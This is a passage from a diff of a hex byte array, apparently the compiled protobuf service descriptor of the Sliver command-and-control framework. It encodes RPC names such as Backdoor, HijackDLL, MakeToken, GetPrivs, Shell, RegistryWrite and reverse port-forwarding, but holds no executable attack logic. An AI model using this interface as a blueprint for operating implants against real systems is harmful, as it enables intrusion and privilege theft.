0x72, 0x79, 0x4c, 0x69, - 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, - 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x56, 0x61, 0x6c, - 0x75, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x3e, 0x0a, 0x0d, 0x52, 0x75, 0x6e, 0x53, 0x53, - 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, - 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, - 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x38, 0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, - 0x6b, 0x44, 0x4c, 0x4c, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, + 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x2d, 0x0a, 0x06, 0x47, 0x65, 0x74, + 0x45, 0x6e, 0x76, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, + 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x45, 0x6e, 0x76, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2f, 0x0a, 0x06, 0x53, 0x65, 0x74, 0x45, + 0x6e, 0x76, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, + 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08, 0x55, 0x6e, 0x73, + 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, + 0x12, 0x35, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x15, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, + 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, + 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x41, 0x0a, 0x0c, 0x52, 0x65, 0x67, 0x69, 0x73, + 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x52, + 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, + 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x44, 0x0a, 0x0d, 0x52, 0x65, + 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, + 0x72, 0x69, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, + 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, + 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, + 0x65, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x4b, 0x65, 0x79, 0x12, 0x54, 0x0a, 0x13, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, + 0x4c, 0x69, 0x73, 0x74, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53, + 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, + 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x53, 0x0a, 0x12, 0x52, 0x65, + 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, + 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, + 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x52, 0x65, + 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, + 0x69, 0x73, 0x74, 0x72, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, + 0x3e, 0x0a, 0x0d, 0x52, 0x75, 0x6e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, + 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, + 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, + 0x38, 0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x44, 0x4c, 0x4c, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, - 0x6b, 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, - 0x73, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x57, 0x0a, 0x15, 0x53, 0x74, 0x61, 0x72, - 0x74, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, - 0x72, 0x12, 0x22, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, - 0x72, 0x74, 0x46, 0x77, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, - 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, - 0x72, 0x12, 0x53, 0x0a, 0x14, 0x47, 0x65, 0x74, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, - 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65, 0x74, + 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, + 0x12, 0x57, 0x0a, 0x15, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, + 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x22, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x53, 0x74, 0x61, + 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1a, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, + 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x53, 0x0a, 0x14, 0x47, 0x65, 0x74, + 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, + 0x73, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, + 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, + 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, + 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x55, + 0x0a, 0x14, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x21, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, - 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, - 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x55, 0x0a, 0x14, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x70, - 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x21, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, - 0x77, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, - 0x71, 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, - 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x3b, 0x0a, - 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x15, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, - 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x0c, 0x43, 0x6c, - 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, - 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, - 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, - 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x44, 0x0a, 0x0d, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, - 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, - 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, - 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x47, 0x0a, 0x0e, 0x4c, - 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1b, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, - 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, - 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x5c, 0x0a, 0x15, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, - 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, - 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, - 0x71, 0x1a, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, - 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, - 0x6f, 0x6e, 0x12, 0x53, 0x0a, 0x12, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, - 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, - 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, - 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x50, 0x0a, 0x11, 0x45, 0x78, 0x65, 0x63, 0x57, - 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, - 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, - 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53, - 0x74, 0x61, 0x72, 0x74, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, - 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, - 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, - 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, - 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53, - 0x74, 0x6f, 0x70, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1e, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, - 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x17, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, - 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x3c, 0x0a, 0x0c, 0x57, 0x47, 0x53, 0x74, 0x61, - 0x72, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, - 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, - 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3a, 0x0a, 0x0b, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x53, - 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x11, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, - 0x73, 0x12, 0x4b, 0x0a, 0x10, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, - 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, - 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, - 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x4b, - 0x0a, 0x12, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, - 0x76, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x52, 0x65, - 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, - 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, - 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, - 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, - 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, - 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 